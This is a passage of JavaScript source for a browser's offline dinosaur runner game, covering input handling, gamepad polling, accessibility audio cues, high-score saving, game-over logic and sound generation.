              this.distanceMeter.getActualDistance(Math.ceil(this.distanceRan));

          if (actualDistance > 0) {
            this.invertTrigger =
                !(actualDistance % this.config.INVERT_DISTANCE);

            if (this.invertTrigger && this.invertTimer === 0) {
              this.invertTimer += deltaTime;
              this.invert(false);
            }
          }
        }
      }
    }

    if (this.playing || (!this.activated &&
        this.tRex.blinkCount < Runner.config.MAX_BLINK_COUNT)) {
      this.tRex.update(deltaTime);
      this.scheduleNextUpdate();
    }
  },

  /**
   * Event handler.
   * @param {Event} e
   */
  handleEvent(e) {
    return (function(evtType, events) {
      switch (evtType) {
        case events.KEYDOWN:
        case events.TOUCHSTART:
        case events.POINTERDOWN:
          this.onKeyDown(e);
          break;
        case events.KEYUP:
        case events.TOUCHEND:
        case events.POINTERUP:
          this.onKeyUp(e);
          break;
        case events.GAMEPADCONNECTED:
          this.onGamepadConnected(e);
          break;
      }
    }.bind(this))(e.type, Runner.events);
  },

  /**
   * Initialize audio cues if activated by focus on the canvas element.
   * @param {Event} e
   */
  handleCanvasKeyPress(e) {
    if (!this.activated && !Runner.audioCues) {
      this.toggleSpeed();
      Runner.audioCues = true;
      this.generatedSoundFx.init();
      Runner.generatedSoundFx = this.generatedSoundFx;
      Runner.config.CLEAR_TIME *= 1.2;
    } else if (e.keyCode && Runner.keycodes.JUMP[e.keyCode]) {
      this.onKeyDown(e);
    }
  },

  /**
   * Prevent space key press from scrolling.
   * @param {Event} e
   */
  preventScrolling(e) {
    if (e.keyCode === 32) {
      e.preventDefault();
    }
  },

  /**
   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
